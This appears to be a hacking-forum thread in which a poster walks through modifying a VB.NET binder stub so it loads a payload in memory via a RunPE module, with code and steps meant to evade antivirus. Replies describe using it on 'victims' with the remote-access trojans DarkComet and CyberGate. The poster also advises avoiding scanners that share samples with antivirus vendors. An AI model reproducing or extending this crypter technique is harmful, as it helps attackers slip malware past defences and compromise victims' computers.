[krayon]

First I need to say a few things.
1. I'm in no way an awesome vb.net coder, I have had little experience with this type of programming.
(tho ive used vb since version 3-4)
2. I have spent a good 2-3weeks reading and trying to understand as much as I can about all of this.
3. This How-To was made for people who have very limited knowledge of vb.net and just want to get runpe working.
4. Everything here was found on this forum, I'm just trying to save some people the headache
of locating everything and a bunch of trial and error.

This is how I got runpe to work with Eprouvez's tutorial on making a binder in vb.net and t0fx's runpe source code

First you are going to want to complete his tutorial on The 'Real' Binder https://hackforums.net/showthread.php?tid=361286&page=1

After you have sucessfully made his binder....come back and find out how to edit it to get runpe working.


Ok welcome back if you have sucessfully followed Eprouvez's amazing binder tutorial you should now have
a good working binder and scantime crypter to work with.
You should also know how to add your stub to your binder project and have figured out that they are 2 seperate
programs and the stub is the one doing all the work.

Next you're going to want to download the source code for runpe. We're going to use t0fx's source code from his
moon crypter project.
http://www.mediafire.com/?zdjtnkn21go

Download the rp.vb and save it to your hard drive.

Now open up your stub project from earlier when you completed The 'Real' Binder by Eprouvez.

As you can see in his tutorial and code in the stub project under Form1_Load the file is getting dropped to the hard drive in the temp directory and then ran
thus the antivirus is saying "erm...hell no!one!!"

So in Visual studio goto the project menu and click Add Existing Item.

Now look for the rp.vb you just downloaded and add it.
(this is t0fx's runpe module from moon crypter)

Double click on form1 and in the code view add this under Public Class Form1

Code

Public Shared Function StrToByteArray(ByVal str As String) As Byte()
        Dim encoding As New System.Text.ASCIIEncoding()
        Return encoding.GetBytes(str)
    End Function 'StrToByteArray

this is converting your string to bytes for runpe to work.

Now here is where the editing comes in...double click the form on the stub project and look under
Form1_Load you should have this

Code

Try

Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
            Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
            Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
            Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))
            My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(2), File1, False)
            My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & Drop(4), File2, False)
            Process.Start(TempDir & "\" & Drop(2)) : Process.Start(TempDir & "\" & Drop(4))
Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
        Process.GetCurrentProcess.Kill()
    End Sub
End Class

Now we need to edit this part so the file isnt dropped anymore
and call t0fx's runpe(rp.vb)
Remove both lines completely that have My.Computer.FileSystem.WriteAllBytes
Now remove the next line completely that has Process.start
In place of those 3 lines we're going to be calling runpe so here goes

Code

System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))
            rp.MakeIt(File1, Application.ExecutablePath)

Now instead of dropping our files and running it, we're just running it in a process with runpe

So your Form1_Load should look something like this now

Code

Try

            Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp ' Create refrence to temp dir
            Dim Drop() As String = Split(IO.File.ReadAllText(Application.ExecutablePath), "[Splitter]")
            Dim File1 As Byte() = Unsecure(Convert.FromBase64String(Drop(1)))
            Dim File2 As Byte() = Unsecure(Convert.FromBase64String(Drop(3)))

            System.Text.Encoding.GetEncoding(1252).GetBytes(Drop(1))
            rp.MakeIt(File1, Application.ExecutablePath)

        Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
        Process.GetCurrentProcess.Kill()
    End Sub

Now build your stub and go into your Release folder...if thats where its outputting to and copy it and add it into
your Resources folder of your Binder project. Replacing the old stub that wasnt runpe or re-naming it and
backing it up incase you want to use it later.

Now instead of binding 2 files together...you need to open your server in both textbox's kind of like you're binding your
server with your server, and hit bind. You should now have a runpe encrypted server.
Enjoy
(I havent incorperated the binding of 2 files into the runpe code as i stopped right here in this project because i dont think runpe
is the greatest thing since sliced bread i just wanted it to work for an experiment, and basically wasted alot of hours doing it)

Thanks to
MC' - for helping me understand so much
Eprouvez - for his amazing tutorial he wrote on how to build a binder in vb.net
t0fx - for releasing his runpe module, even tho he got screwed over

Remember only scan your crypted items on
scanner.novirusthanks.org and always check the Do Not distribute box.

this is still kind of buggy under XP i am trying to find a more stable way to do this...

[Xaniar]

good overall tutorial , bookmarked to read it later.

[Neroxan]

Well put together tutorial. Im sure well be seeing a major improvement in the .net applications produced around here now:)

I still roll with the old vb myself as I didnt start learning long ago, but thanks for sharing anwyays.

[JIMP]

Good TUT.The runPE soes not work with 64 bit computers.

[krayon]

Good TUT.The runPE soes not work with 64 bit computers.

Thanks for the bit of info, maybe now that people can get it going...others will start experimenting and adding their own stuff to get it working.

[JIMP]

Thanks for the bit of info, maybe now that people can get it going...others will start experimenting and adding their own stuff to get it working.

Thats true.

[Soul Collector]

Good job m8. Going to add this to my HF Guide.

[JIMP]

I just bookmarked this but try compiling it as an x86 program and maybe it will work with 64 bit computers. Maybe WOW64 mode will make it fixed.

If anyone has time to test this post back in the thread :D.

I am not sure that going to work either.This runPe works only for 32bit.According to the pros changing the APIS should make it work for 64 bit too.

[JIMP]

I havnt used ur TUT but i use the same RunPe.When i crypt some Exe i get this error.
[IMG]http://i43.[censored].com/15dutn6.jpg[/IMG]

Does anyone know wat to do.

[krayon]

So this method is working flawlessly on windows 7 victims, but on xp home it seems to open up multiple instances of the server and cancels each other out. Ending up in a death loop of services starting and stopping. Any idea why it would keep trying to open the file over and over? I swear RunPE has a mind of its own sometimes.

[South Park]

Now theirs going to be another 100 crypters on the marketplace.

[L0w hack3r]

nice tut im going to read this later its bit long...🤝

[JIMP]

So this method is working flawlessly on windows 7 victims, but on xp home it seems to open up multiple instances of the server and cancels each other out. Ending up in a death loop of services starting and stopping. Any idea why it would keep trying to open the file over and over? I swear RunPE has a mind of its own sometimes.

i totally agree.

[JIMP]

I dont think its th prob of .net framework.It works for some exe.

[krayon]

I dont think its th prob of .net framework.It works for some exe.

This is exactly right, after further testing it works fine with dark comet under xp and windows7...and goes ape sh1t with cybergate under xp but fine under win7...it's just the nature of the beast.